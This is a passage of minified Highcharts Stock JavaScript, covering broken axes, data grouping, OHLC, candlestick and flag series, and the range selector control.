t=this.xAxis,e=this.yAxis,i=this.points,s=i.length,o=this.options.connectNulls;if(t&&e&&(t.options.breaks||e.options.breaks))for(;s--;){var n=i[s];null===n.y&&!1===o||!t.isInAnyBreak(n.x,!0)&&!e.isInAnyBreak(n.y,!0)||(i.splice(s,1),this.data[s]&&this.data[s].destroyElements())}})),e(l,"afterRender",(function(){this.drawBreaks(this.xAxis,["x"]),this.drawBreaks(this.yAxis,o(this.pointArrayMap,["y"]))})),t.Series.prototype.drawBreaks=function(t,e){var i,s,n,r,l=this,h=l.points;t&&e.forEach((function(e){i=t.breakArray||[],s=t.isXAxis?t.min:o(l.options.threshold,t.min),h.forEach((function(l){r=o(l["stack"+e.toUpperCase()],l[e]),i.forEach((function(e){n=!1,s<e.from&&r>e.to||s>e.from&&r<e.from?n="pointBreak":(s<e.from&&r>e.from&&r<e.to||s>e.from&&r>e.to&&r<e.from)&&(n="pointInBreak"),n&&a(t,n,{point:l,brk:e})}))}))}))},t.Series.prototype.gappedPath=function(){var e=this.currentDataGrouping,i=e&&e.gapSize;e=this.options.gapSize;var s=this.points.slice(),o=s.length-1,n=this.yAxis;if(e&&0<o)for("value"!==this.options.gapUnit&&(e*=this.basePointRange),i&&i>e&&i>=this.basePointRange&&(e=i);o--;)s[o+1].x-s[o].x>e&&(i=(s[o].x+s[o+1].x)/2,s.splice(o+1,0,{isNull:!0,x:i}),this.options.stacking&&((i=n.stacks[this.stackKey][i]=new t.StackItem(n,n.options.stackLabels,!1,i,this.stack)).total=0));return this.getGraphPath(s)}})),e(i,"masters/modules/broken-axis.src.js",[],(function(){})),e(i,"parts/DataGrouping.js",[i["parts/Globals.js"],i["parts/Utilities.js"]],(function(t,e){var i=e.arrayMax,s=e.arrayMin,o=e.defined,n=e.extend,a=e.isNumber,r=e.pick;e=t.addEvent;var l=t.Axis,h=t.correctFloat,c=t.defaultPlotOptions,d=t.format,p=t.merge,u=t.Point,f=t.Series,g=t.Tooltip,m=t.approximations={sum:function(t){var e=t.length;if(!e&&t.hasNulls)var i=null;else if(e)for(i=0;e--;)i+=t[e];return i},average:function(t){var e=t.length;return t=m.sum(t),a(t)&&e&&(t=h(t/e)),t},averages:function(){var t=[];return[].forEach.call(arguments,(function(e){t.push(m.average(e))})),void 0===t[0]?void 0:t},open:function(t){return t.length?t[0]:t.hasNulls?null:void 0},high:function(t){return t.length?i(t):t.hasNulls?null:void 0},low:function(t){return t.length?s(t):t.hasNulls?null:void 0},close:function(t){return t.length?t[t.length-1]:t.hasNulls?null:void 0},ohlc:function(t,e,i,s){if(t=m.open(t),e=m.high(e),i=m.low(i),s=m.close(s),a(t)||a(e)||a(i)||a(s))return[t,e,i,s]},range:function(t,e){return t=m.low(t),e=m.high(e),a(t)||a(e)?[t,e]:null===t&&null===e?null:void 0}},v=function(t,e,i,s){var n,r=this,l=r.data,h=r.options&&r.options.data,c=[],d=[],u=[],f=t.length,g=!!e,v=[],x=r.pointArrayMap,y=x&&x.length,b=["x"].concat(x||["y"]),w=0,k=0;s="function"==typeof s?s:m[s]?m[s]:m[r.getDGApproximation&&r.getDGApproximation()||"average"],y?x.forEach((function(){v.push([])})):v.push([]);var M=y||1;for(n=0;n<=f&&!(t[n]>=i[0]);n++);for(;n<=f;n++){for(;void 0!==i[w+1]&&t[n]>=i[w+1]||n===f;){var S=i[w];r.dataGroupInfo={start:r.cropStart+k,length:v[0].length};var T=s.apply(r,v);for(r.pointClass&&!o(r.dataGroupInfo.options)&&(r.dataGroupInfo.options=p(r.pointClass.prototype.optionsToObject.call({series:r},r.options.data[r.cropStart+k])),b.forEach((function(t){delete r.dataGroupInfo.options[t]}))),void 0!==T&&(c.push(S),d.push(T),u.push(r.dataGroupInfo)),k=n,S=0;S<M;S++)v[S].length=0,v[S].hasNulls=!1;if(w+=1,n===f)break}if(n===f)break;if(x)for(S=r.cropStart+n,T=l&&l[S]||r.pointClass.prototype.applyOptions.apply({series:r},[h[S]]),S=0;S<y;S++){var C=T[x[S]];a(C)?v[S].push(C):null===C&&(v[S].hasNulls=!0)}else S=g?e[n]:null,a(S)?v[0].push(S):null===S&&(v[0].hasNulls=!0)}return{groupedXData:c,groupedYData:d,groupMap:u}},x={approximations:m,groupData:v},y=f.prototype,b=y.processData,w=y.generatePoints,k={groupPixelWidth:2,dateTimeLabelFormats:{millisecond:["%A, %b %e, %H:%M:%S.%L","%A, %b %e, %H:%M:%S.%L","-%H:%M:%S.%L"],second:["%A, %b %e, %H:%M:%S","%A, %b %e, %H:%M:%S","-%H:%M:%S"],minute:["%A, %b %e, %H:%M","%A, %b %e, %H:%M","-%H:%M"],hour:["%A, %b %e, %H:%M","%A, %b %e, %H:%M","-%H:%M"],day:["%A, %b %e, %Y","%A, %b %e","-%A, %b %e, %Y"],week:["Week from %A, %b %e, %Y","%A, %b %e","-%A, %b %e, %Y"],month:["%B %Y","%B","-%B %Y"],year:["%Y","%Y","-%Y"]}},M={line:{},spline:{},area:{},areaspline:{},arearange:{},column:{groupPixelWidth:10},columnrange:{groupPixelWidth:10},candlestick:{groupPixelWidth:10},ohlc:{groupPixelWidth:5}},S=t.defaultDataGroupingUnits=[["millisecond",[1,2,5,10,20,25,50,100,200,500]],["second",[1,2,5,10,15,30]],["minute",[1,2,5,10,15,30]],["hour",[1,2,3,4,6,8,12]],["day",[1]],["week",[1]],["month",[1,3,6]],["year",null]];return y.getDGApproximation=function(){return t.seriesTypes.arearange&&this instanceof t.seriesTypes.arearange?"range":t.seriesTypes.ohlc&&this instanceof t.seriesTypes.ohlc?"ohlc":t.seriesTypes.column&&this instanceof t.seriesTypes.column?"sum":"average"},y.groupData=v,y.processData=function(){var t,e=this.chart,i=this.options.dataGrouping,s=!1!==this.allowDG&&i&&r(i.enabled,e.options.isStock),n=this.visible||!e.options.chart.ignoreHiddenSeries,a=this.currentDataGrouping,l=!1;if(this.forceCrop=s,this.groupPixelWidth=null,this.hasProcessed=!0,s&&!this.requireSorting&&(this.requireSorting=l=!0),s=!1===b.apply(this,arguments)||!s,l&&(this.requireSorting=!1),!s){this.destroyGroupedData(),s=i.groupAll?this.xData:this.processedXData;var h=i.groupAll?this.yData:this.processedYData,c=e.plotSizeX,d=(e=this.xAxis).options.ordinal,p=this.groupPixelWidth=e.getGroupPixelWidth&&e.getGroupPixelWidth();if(p){this.isDirty=t=!0,this.points=null;var u=(l=e.getExtremes()).min;p=p*((l=l.max)-u)/c*(d=d&&e.getGroupIntervalFactor(u,l,this)||1),c=e.getTimeTicks(e.normalizeTimeTickInterval(p,i.units||S),Math.min(u,s[0]),Math.max(l,s[s.length-1]),e.options.startOfWeek,s,this.closestPointRange),s=(h=y.groupData.apply(this,[s,h,c,i.approximation])).groupedXData,d=h.groupedYData;var f=0;if(i.smoothed&&s.length){var g=s.length-1;for(s[g]=Math.min(s[g],l);g--&&0<g;)s[g]+=p/2;s[0]=Math.max(s[0],u)}for(g=1;g<c.length;g++)c.info.segmentStarts&&-1!==c.info.segmentStarts.indexOf(g)||(f=Math.max(c[g]-c[g-1],f));(u=c.info).gapSize=f,this.closestPointRange=c.info.totalRange,this.groupMap=h.groupMap,o(s[0])&&s[0]<e.min&&n&&((!o(e.options.min)&&e.min<=e.dataMin||e.min===e.dataMin)&&(e.min=Math.min(s[0],e.min)),e.dataMin=s[0]),i.groupAll&&(s=(i=this.cropData(s,d,e.min,e.max,1)).xData,d=i.yData),this.processedXData=s,this.processedYData=d}else this.groupMap=null;this.hasGroupedData=t,this.currentDataGrouping=u,this.preventGraphAnimation=(a&&a.totalRange)!==(u&&u.totalRange)}},y.destroyGroupedData=function(){this.groupedData&&(this.groupedData.forEach((function(t,e){t&&(this.groupedData[e]=t.destroy?t.destroy():null)}),this),this.groupedData.length=0)},y.generatePoints=function(){w.apply(this),this.destroyGroupedData(),this.groupedData=this.hasGroupedData?this.points:null},e(u,"update",(function(){if(this.dataGroup)return t.error(24,!1,this.series.chart),!1})),e(g,"headerFormatter",(function(t){var e=this.chart.time,i=t.labelConfig,s=i.series,o=s.tooltipOptions,r=s.options.dataGrouping,l=o.xDateFormat,h=s.xAxis,c=o[(t.isFooter?"footer":"header")+"Format"];if(h&&"datetime"===h.options.type&&r&&a(i.key)){var p=s.currentDataGrouping;if(r=r.dateTimeLabelFormats||k.dateTimeLabelFormats,p)if(o=r[p.unitName],1===p.count)l=o[0];else{l=o[1];var u=o[2]}else!l&&r&&(l=this.getXDateFormat(i,o,h));l=e.dateFormat(l,i.key),u&&(l+=e.dateFormat(u,i.key+p.totalRange-1)),s.chart.styledMode&&(c=this.styledModeFormat(c)),t.text=d(c,{point:n(i.point,{key:l}),series:s},e),t.preventDefault()}})),e(f,"destroy",y.destroyGroupedData),e(f,"afterSetOptions",(function(t){t=t.options;var e=this.type,i=this.chart.options.plotOptions,s=c[e].dataGrouping,o=this.useCommonDataGrouping&&k;(M[e]||o)&&(s||(s=p(k,M[e])),t.dataGrouping=p(o,s,i.series&&i.series.dataGrouping,i[e].dataGrouping,this.userOptions.dataGrouping))})),e(l,"afterSetScale",(function(){this.series.forEach((function(t){t.hasProcessed=!1}))})),l.prototype.getGroupPixelWidth=function(){var t,e,i=this.series,s=i.length,o=0,n=!1;for(t=s;t--;)(e=i[t].options.dataGrouping)&&(o=Math.max(o,r(e.groupPixelWidth,k.groupPixelWidth)));for(t=s;t--;)(e=i[t].options.dataGrouping)&&i[t].hasProcessed&&(s=(i[t].processedXData||i[t].data).length,i[t].groupPixelWidth||s>this.chart.plotSizeX/o||s&&e.forced)&&(n=!0);return n?o:0},l.prototype.setDataGrouping=function(t,e){var i;if(e=r(e,!0),t||(t={forced:!1,units:null}),this instanceof l)for(i=this.series.length;i--;)this.series[i].update({dataGrouping:t},!1);else this.chart.options.series.forEach((function(e){e.dataGrouping=t}),!1);this.ordinalSlope=null,e&&this.chart.redraw()},t.dataGrouping=x,x})),e(i,"parts/OHLCSeries.js",[i["parts/Globals.js"]],(function(t){var e=t.Point,i=t.seriesType,s=t.seriesTypes;i("ohlc","column",{lineWidth:1,tooltip:{pointFormat:'<span style="color:{point.color}">●</span> <b> {series.name}</b><br/>Open: {point.open}<br/>High: {point.high}<br/>Low: {point.low}<br/>Close: {point.close}<br/>'},threshold:null,states:{hover:{lineWidth:3}},stickyTracking:!0},{directTouch:!1,pointArrayMap:["open","high","low","close"],toYData:function(t){return[t.open,t.high,t.low,t.close]},pointValKey:"close",pointAttrToOptions:{stroke:"color","stroke-width":"lineWidth"},init:function(){s.column.prototype.init.apply(this,arguments),this.options.stacking=!1},pointAttribs:function(t,e){e=s.column.prototype.pointAttribs.call(this,t,e);var i=this.options;return delete e.fill,!t.options.color&&i.upColor&&t.open<t.close&&(e.stroke=i.upColor),e},translate:function(){var t=this,e=t.yAxis,i=!!t.modifyValue,o=["plotOpen","plotHigh","plotLow","plotClose","yBottom"];s.column.prototype.translate.apply(t),t.points.forEach((function(s){[s.open,s.high,s.low,s.close,s.low].forEach((function(n,a){null!==n&&(i&&(n=t.modifyValue(n)),s[o[a]]=e.toPixels(n,!0))})),s.tooltipPos[1]=s.plotHigh+e.pos-t.chart.plotTop}))},drawPoints:function(){var t=this,e=t.chart;t.points.forEach((function(i){var s=i.graphic,o=!s;if(void 0!==i.plotY){s||(i.graphic=s=e.renderer.path().add(t.group)),e.styledMode||s.attr(t.pointAttribs(i,i.selected&&"select"));var n=s.strokeWidth()%2/2,a=Math.round(i.plotX)-n,r=Math.round(i.shapeArgs.width/2),l=["M",a,Math.round(i.yBottom),"L",a,Math.round(i.plotHigh)];if(null!==i.open){var h=Math.round(i.plotOpen)+n;l.push("M",a,h,"L",a-r,h)}null!==i.close&&(h=Math.round(i.plotClose)+n,l.push("M",a,h,"L",a+r,h)),s[o?"attr":"animate"]({d:l}).addClass(i.getClassName(),!0)}}))},animate:null},{getClassName:function(){return e.prototype.getClassName.call(this)+(this.open<this.close?" highcharts-point-up":" highcharts-point-down")}})})),e(i,"parts/CandlestickSeries.js",[i["parts/Globals.js"]],(function(t){var e=t.defaultPlotOptions,i=t.merge,s=t.seriesType,o=t.seriesTypes;s("candlestick","ohlc",i(e.column,{states:{hover:{lineWidth:2}},tooltip:e.ohlc.tooltip,threshold:null,lineColor:"#000000",lineWidth:1,upColor:"#ffffff",stickyTracking:!0}),{pointAttribs:function(t,e){var i=o.column.prototype.pointAttribs.call(this,t,e),s=this.options,n=t.open<t.close,a=s.lineColor||this.color;return i["stroke-width"]=s.lineWidth,i.fill=t.options.color||n&&s.upColor||this.color,i.stroke=t.options.lineColor||n&&s.upLineColor||a,e&&(t=s.states[e],i.fill=t.color||i.fill,i.stroke=t.lineColor||i.stroke,i["stroke-width"]=t.lineWidth||i["stroke-width"]),i},drawPoints:function(){var t=this,e=t.chart,i=t.yAxis.reversed;t.points.forEach((function(s){var o=s.graphic,n=!o;if(void 0!==s.plotY){o||(s.graphic=o=e.renderer.path().add(t.group)),t.chart.styledMode||o.attr(t.pointAttribs(s,s.selected&&"select")).shadow(t.options.shadow);var a=o.strokeWidth()%2/2,r=Math.round(s.plotX)-a,l=s.plotOpen,h=s.plotClose,c=Math.min(l,h);l=Math.max(l,h);var d=Math.round(s.shapeArgs.width/2);h=i?l!==s.yBottom:Math.round(c)!==Math.round(s.plotHigh);var p=i?Math.round(c)!==Math.round(s.plotHigh):l!==s.yBottom;c=Math.round(c)+a,l=Math.round(l)+a,(a=[]).push("M",r-d,l,"L",r-d,c,"L",r+d,c,"L",r+d,l,"Z","M",r,c,"L",r,h?Math.round(i?s.yBottom:s.plotHigh):c,"M",r,l,"L",r,p?Math.round(i?s.plotHigh:s.yBottom):l),o[n?"attr":"animate"]({d:a}).addClass(s.getClassName(),!0)}}))}})})),e(i,"mixins/on-series.js",[i["parts/Globals.js"],i["parts/Utilities.js"]],(function(t,e){var i=e.defined,s=t.seriesTypes,o=t.stableSort;return{getPlotBox:function(){return t.Series.prototype.getPlotBox.call(this.options.onSeries&&this.chart.get(this.options.onSeries)||this)},translate:function(){s.column.prototype.translate.apply(this);var t,e=this,n=e.options,a=e.chart,r=e.points,l=r.length-1,h=n.onSeries;h=h&&a.get(h),n=n.onKey||"y";var c,d=h&&h.options.step,p=h&&h.points,u=p&&p.length,f=a.inverted,g=e.xAxis,m=e.yAxis,v=0;if(h&&h.visible&&u){v=(h.pointXOffset||0)+(h.barW||0)/2,a=h.currentDataGrouping;var x=p[u-1].x+(a?a.totalRange:0);for(o(r,(function(t,e){return t.x-e.x})),n="plot"+n[0].toUpperCase()+n.substr(1);u--&&r[l];){var y=p[u];if((a=r[l]).y=y.y,y.x<=a.x&&void 0!==y[n]){if(a.x<=x&&(a.plotY=y[n],y.x<a.x&&!d&&(c=p[u+1])&&void 0!==c[n])){var b=(a.x-y.x)/(c.x-y.x);a.plotY+=b*(c[n]-y[n]),a.y+=b*(c.y-y.y)}if(u++,0>--l)break}}}r.forEach((function(s,o){if(s.plotX+=v,(void 0===s.plotY||f)&&(0<=s.plotX&&s.plotX<=g.len?f?(s.plotY=g.translate(s.x,0,1,0,1),s.plotX=i(s.y)?m.translate(s.y,0,0,0,1):0):s.plotY=(g.opposite?0:e.yAxis.len)+g.offset:s.shapeArgs={}),(t=r[o-1])&&t.plotX===s.plotX){void 0===t.stackIndex&&(t.stackIndex=0);var n=t.stackIndex+1}s.stackIndex=n})),this.onSeries=h}}})),e(i,"parts/FlagsSeries.js",[i["parts/Globals.js"],i["parts/Utilities.js"],i["mixins/on-series.js"]],(function(t,e,i){function s(t){f[t+"pin"]=function(e,i,s,o,n){var a=n&&n.anchorX;n=n&&n.anchorY,"circle"===t&&o>s&&(e-=Math.round((o-s)/2),s=o);var r=f[t](e,i,s,o);return a&&n&&(r.push("M","circle"===t?e+s/2:r[1]+r[4]/2,i>n?i:i+o,"L",a,n),r=r.concat(f.circle(a-1,n-1,2,2))),r}}var o=e.defined,n=e.isNumber,a=e.objectEach,r=t.addEvent,l=t.merge;e=t.noop;var h=t.Renderer,c=t.Series,d=t.seriesType,p=t.TrackerMixin,u=t.VMLRenderer,f=t.SVGRenderer.prototype.symbols;d("flags","column",{pointRange:0,allowOverlapX:!1,shape:"flag",stackDistance:12,textAlign:"center",tooltip:{pointFormat:"{point.text}<br/>"},threshold:null,y:-30,fillColor:"#ffffff",lineWidth:1,states:{hover:{lineColor:"#000000",fillColor:"#ccd6eb"}},style:{fontSize:"11px",fontWeight:"bold"}},{sorted:!1,noSharedTooltip:!0,allowDG:!1,takeOrdinalPosition:!1,trackerGroups:["markerGroup"],forceCrop:!0,init:c.prototype.init,pointAttribs:function(t,e){var i=this.options,s=t&&t.color||this.color,o=i.lineColor,n=t&&t.lineWidth;return t=t&&t.fillColor||i.fillColor,e&&(t=i.states[e].fillColor,o=i.states[e].lineColor,n=i.states[e].lineWidth),{fill:t||s,stroke:o||s,"stroke-width":n||i.lineWidth||0}},translate:i.translate,getPlotBox:i.getPlotBox,drawPoints:function(){var e,i=this.points,s=this.chart,n=s.renderer,r=s.inverted,h=this.options,c=h.y,d=this.yAxis,p={},u=[];for(e=i.length;e--;){var f=i[e],g=(r?f.plotY:f.plotX)>this.xAxis.len,m=f.plotX,v=f.stackIndex,x=f.options.shape||h.shape,y=f.plotY;void 0!==y&&(y=f.plotY+c-(void 0!==v&&v*h.stackDistance)),f.anchorX=v?void 0:f.plotX;var b=v?void 0:f.plotY,w="flag"!==x;v=f.graphic,void 0!==y&&0<=m&&!g?(v||(v=f.graphic=n.label("",null,null,x,null,null,h.useHTML),s.styledMode||v.attr(this.pointAttribs(f)).css(l(h.style,f.style)),v.attr({align:w?"center":"left",width:h.width,height:h.height,"text-align":h.textAlign}).addClass("highcharts-point").add(this.markerGroup),f.graphic.div&&(f.graphic.div.point=f),s.styledMode||v.shadow(h.shadow),v.isNew=!0),0<m&&(m-=v.strokeWidth()%2),x={y:y,anchorY:b},h.allowOverlapX&&(x.x=m,x.anchorX=f.anchorX),v.attr({text:f.options.title||h.title||"A"})[v.isNew?"attr":"animate"](x),h.allowOverlapX||(p[f.plotX]?p[f.plotX].size=Math.max(p[f.plotX].size,v.width):p[f.plotX]={align:w?.5:0,size:v.width,target:m,anchorX:m}),f.tooltipPos=[m,y+d.pos-s.plotTop]):v&&(f.graphic=v.destroy())}h.allowOverlapX||(a(p,(function(t){t.plotX=t.anchorX,u.push(t)})),t.distribute(u,r?d.len:this.xAxis.len,100),i.forEach((function(t){var e=t.graphic&&p[t.plotX];e&&(t.graphic[t.graphic.isNew?"attr":"animate"]({x:e.pos+e.align*e.size,anchorX:t.anchorX}),o(e.pos)?t.graphic.isNew=!1:(t.graphic.attr({x:-9999,anchorX:-9999}),t.graphic.isNew=!0))}))),h.useHTML&&t.wrap(this.markerGroup,"on",(function(e){return t.SVGElement.prototype.on.apply(e.apply(this,[].slice.call(arguments,1)),[].slice.call(arguments,1))}))},drawTracker:function(){var t=this.points;p.drawTrackerPoint.apply(this),t.forEach((function(e){var i=e.graphic;i&&r(i.element,"mouseover",(function(){0<e.stackIndex&&!e.raised&&(e._y=i.y,i.attr({y:e._y-8}),e.raised=!0),t.forEach((function(t){t!==e&&t.raised&&t.graphic&&(t.graphic.attr({y:t._y}),t.raised=!1)}))}))}))},animate:function(t){t?this.setClip():this.animate=null},setClip:function(){c.prototype.setClip.apply(this,arguments),!1!==this.options.clip&&this.sharedClipKey&&this.markerGroup.clip(this.chart[this.sharedClipKey])},buildKDTree:e,invertGroups:e},{isValid:function(){return n(this.y)||void 0===this.y}}),f.flag=function(t,e,i,s,o){var n=o&&o.anchorX||t;return o=o&&o.anchorY||e,f.circle(n-1,o-1,2,2).concat(["M",n,o,"L",t,e+s,t,e,t+i,e,t+i,e+s,t,e+s,"Z"])},s("circle"),s("square"),h===u&&["circlepin","flag","squarepin"].forEach((function(t){u.prototype.symbols[t]=f[t]}))})),e(i,"parts/RangeSelector.js",[i["parts/Globals.js"],i["parts/Utilities.js"]],(function(t,e){function i(t){this.init(t)}var s=e.defined,o=e.destroyObjectProperties,n=e.discardElement,a=e.extend,r=e.isNumber,l=e.objectEach,h=e.pick,c=e.pInt,d=e.splat,p=t.addEvent,u=t.Axis;e=t.Chart;var f=t.css,g=t.createElement,m=t.defaultOptions,v=t.fireEvent,x=t.merge;a(m,{rangeSelector:{verticalAlign:"top",buttonTheme:{width:28,height:18,padding:2,zIndex:7},floating:!1,x:0,y:0,height:void 0,inputPosition:{align:"right",x:0,y:0},buttonPosition:{align:"left",x:0,y:0},labelStyle:{color:"#666666"}}}),m.lang=x(m.lang,{rangeSelectorZoom:"Zoom",rangeSelectorFrom:"From",rangeSelectorTo:"To"}),i.prototype={clickButton:function(t,e){var i=this.chart,s=this.buttonOptions[t],o=i.xAxis[0],n=i.scroller&&i.scroller.getUnionExtremes()||o||{},a=n.dataMin,l=n.dataMax,c=o&&Math.round(Math.min(o.max,h(l,o.max))),f=s.type;n=s._range;var g,m=s.dataGrouping;if(null!==a&&null!==l){if(i.fixedRange=n,m&&(this.forcedDataGrouping=!0,u.prototype.setDataGrouping.call(o||{chart:this.chart},m,!1),this.frozenStates=s.preserveDataGrouping),"month"===f||"year"===f)if(o){f={range:s,max:c,chart:i,dataMin:a,dataMax:l};var v=o.minFromRange.call(f);r(f.newMax)&&(c=f.newMax)}else n=s;else if(n)v=Math.max(c-n,a),c=Math.min(v+n,l);else if("ytd"===f){if(!o)return void(this.deferredYTDClick=t);void 0===l&&(a=Number.MAX_VALUE,l=Number.MIN_VALUE,i.series.forEach((function(t){t=t.xData,a=Math.min(t[0],a),l=Math.max(t[t.length-1],l)})),e=!1),v=g=(c=this.getYTDExtremes(l,a,i.time.useUTC)).min,c=c.max}else"all"===f&&o&&(v=a,c=l);if(v+=s._offsetMin,c+=s._offsetMax,this.setSelected(t),o)o.setExtremes(v,c,h(e,1),null,{trigger:"rangeSelectorButton",rangeSelectorButton:s});else{var x=d(i.options.xAxis)[0],y=x.range;x.range=n;var b=x.min;x.min=g,p(i,"load",(function(){x.range=y,x.min=b}))}}},setSelected:function(t){this.selected=this.options.selected=t},defaultButtons:[{type:"month",count:1,text:"1m"},{type:"month",count:3,text:"3m"},{type:"month",count:6,text:"6m"},{type:"ytd",text:"YTD"},{type:"year",count:1,text:"1y"},{type:"all",text:"All"}],init:function(t){var e=this,i=t.options.rangeSelector,s=i.buttons||[].concat(e.defaultButtons),o=i.selected,n=function(){var t=e.minInput,i=e.maxInput;t&&t.blur&&v(t,"blur"),i&&i.blur&&v(i,"blur")};e.chart=t,e.options=i,e.buttons=[],e.buttonOptions=s,this.unMouseDown=p(t.container,"mousedown",n),this.unResize=p(t,"resize",n),s.forEach(e.computeButtonRange),void 0!==o&&s[o]&&this.clickButton(o,!1),p(t,"load",(function(){t.xAxis&&t.xAxis[0]&&p(t.xAxis[0],"setExtremes",(function(i){this.max-this.min!==t.fixedRange&&"rangeSelectorButton"!==i.trigger&&"updatedData"!==i.trigger&&e.forcedDataGrouping&&!e.frozenStates&&this.setDataGrouping(!1,!1)}))}))},updateButtonStates:function(){var t=this,e=this.chart,i=e.xAxis[0],s=Math.round(i.max-i.min),o=!i.hasVisibleSeries,n=e.scroller&&e.scroller.getUnionExtremes()||i,a=n.dataMin,l=n.dataMax,h=(e=t.getYTDExtremes(l,a,e.time.useUTC)).min,c=e.max,d=t.selected,p=r(d),u=t.options.allButtonsEnabled,f=t.buttons;t.buttonOptions.forEach((function(e,n){var r=e._range,g=e.type,m=e.count||1,v=f[n],x=0,y=e._offsetMax-e._offsetMin;e=n===d;var b=r>l-a,w=r<i.minRange,k=!1,M=!1;r=r===s,("month"===g||"year"===g)&&s+36e5>=864e5*{month:28,year:365}[g]*m-y&&s-36e5<=864e5*{month:31,year:366}[g]*m+y?r=!0:"ytd"===g?(r=c-h+y===s,k=!e):"all"===g&&(r=i.max-i.min>=l-a,M=!e&&p&&r),g=!u&&(b||w||M||o),m=e&&r||r&&!p&&!k||e&&t.frozenStates,g?x=3:m&&(p=!0,x=2),v.state!==x&&(v.setState(x),0===x&&d===n&&t.setSelected(null))}))},computeButtonRange:function(t){var e=t.type,i=t.count||1,s={millisecond:1,second:1e3,minute:6e4,hour:36e5,day:864e5,week:6048e5};s[e]?t._range=s[e]*i:"month"!==e&&"year"!==e||(t._range=864e5*{month:30,year:365}[e]*i),t._offsetMin=h(t.offsetMin,0),t._offsetMax=h(t.offsetMax,0),t._range+=t._offsetMax-t._offsetMin},setInputValue:function(t,e){var i=this.chart.options.rangeSelector,o=this.chart.time,n=this[t+"Input"];s(e)&&(n.previousValue=n.HCTime,n.HCTime=e),n.value=o.dateFormat(i.inputEditDateFormat||"%Y-%m-%d",n.HCTime),this[t+"DateBox"].attr({text:o.dateFormat(i.inputDateFormat||"%b %e, %Y",n.HCTime)})},showInput:function(t){var e=this.inputGroup,i=this[t+"DateBox"];f(this[t+"Input"],{left:e.translateX+i.x+"px",top:e.translateY+"px",width:i.width-2+"px",height:i.height-2+"px",border:"2px solid silver"})},hideInput:function(t){f(this[t+"Input"],{border:0,width:"1px",height:"1px"}),this.setInputValue(t)},drawInput:function(e){function i(){var t=s.value,e=(p.inputDateParser||Date.parse)(t),i=l.xAxis[0],o=l.scroller&&l.scroller.xAxis?l.scroller.xAxis:i,a=o.dataMin;o=o.dataMax,e!==s.previousValue&&(s.previousValue=e,r(e)||(e=t.split("-"),e=Date.UTC(c(e[0]),c(e[1])-1,c(e[2]))),r(e)&&(l.time.useUTC||(e+=6e4*(new Date).getTimezoneOffset()),v?e>n.maxInput.HCTime?e=void 0:e<a&&(e=a):e<n.minInput.HCTime?e=void 0:e>o&&(e=o),void 0!==e&&i.setExtremes(v?e:i.min,v?i.max:e,void 0,void 0,{trigger:"rangeSelectorInput"})))}var s,o,n=this,l=n.chart,h=l.renderer.style||{},d=l.renderer,p=l.options.rangeSelector,u=n.div,v="min"===e,y=this.inputGroup;this[e+"Label"]=o=d.label(m.lang[v?"rangeSelectorFrom":"rangeSelectorTo"],this.inputGroup.offset).addClass("highcharts-range-label").attr({padding:2}).add(y),y.offset+=o.width+5,this[e+"DateBox"]=d=d.label("",y.offset).addClass("highcharts-range-input").attr({padding:2,width:p.inputBoxWidth||90,height:p.inputBoxHeight||17,"text-align":"center"}).on("click",(function(){n.showInput(e),n[e+"Input"].focus()})),l.styledMode||d.attr({stroke:p.inputBoxBorderColor||"#cccccc","stroke-width":1}),d.add(y),y.offset+=d.width+(v?10:0),this[e+"Input"]=s=g("input",{name:e,className:"highcharts-range-selector",type:"text"},{top:l.plotTop+"px"},u),l.styledMode||(o.css(x(h,p.labelStyle)),d.css(x({color:"#333333"},h,p.inputStyle)),f(s,a({position:"absolute",border:0,width:"1px",height:"1px",padding:0,textAlign:"center",fontSize:h.fontSize,fontFamily:h.fontFamily,top:"-9999em"},p.inputStyle))),s.onfocus=function(){n.showInput(e)},s.onblur=function(){s===t.doc.activeElement&&i(),n.hideInput(e),s.blur()},s.onchange=i,s.onkeypress=function(t){13===t.keyCode&&i()}},getPosition:function(){var t=this.chart,e=t.options.rangeSelector;return{buttonTop:(t="top"===e.verticalAlign?t.plotTop-t.axisOffset[0]:0)+e.buttonPosition.y,inputTop:t+e.inputPosition.y-10}},getYTDExtremes:function(t,e,i){var s=this.chart.time,o=new s.Date(t),n=s.get("FullYear",o);return i=i?s.Date.UTC(n,0,1):+new s.Date(n,0,1),e=Math.max(e||0,i),o=o.getTime(),{max:Math.min(t||o,o),min:e}},render:function(t,e){var i=this,s=i.chart,o=s.renderer,n=s.container,a=s.options,r=a.exporting&&!1!==a.exporting.enabled&&a.navigation&&a.navigation.buttonOptions,l=m.lang,c=i.div,d=a.rangeSelector,p=h(a.chart.style&&a.chart.style.zIndex,0)+1;a=d.floating;var u=i.buttons;c=i.inputGroup;var f,v=d.buttonTheme,x=d.buttonPosition,y=d.inputPosition,b=d.inputEnabled,w=v&&v.states,k=s.plotLeft,M=i.buttonGroup,S=i.rendered,T=i.options.verticalAlign,C=s.legend,A=C&&C.options,E=x.y,P=y.y,O=S||!1,L=O?"animate":"attr",D=0,_=0;if(!1!==d.enabled){S||(i.group=S=o.g("range-selector-group").attr({zIndex:7}).add(),i.buttonGroup=M=o.g("range-selector-buttons").add(S),i.zoomText=o.text(l.rangeSelectorZoom,0,15).add(M),s.styledMode||(i.zoomText.css(d.labelStyle),v["stroke-width"]=h(v["stroke-width"],0)),i.buttonOptions.forEach((function(t,e){u[e]=o.button(t.text,0,0,(function(s){var o,n=t.events&&t.events.click;n&&(o=n.call(t,s)),!1!==o&&i.clickButton(e),i.isActive=!0}),v,w&&w.hover,w&&w.select,w&&w.disabled).attr({"text-align":"center"}).add(M)})),!1!==b&&(i.div=c=g("div",null,{position:"relative",height:0,zIndex:p}),n.parentNode.insertBefore(c,n),i.inputGroup=c=o.g("input-group").add(S),c.offset=0,i.drawInput("min"),i.drawInput("max"))),i.zoomText[L]({x:h(k+x.x,k)});var 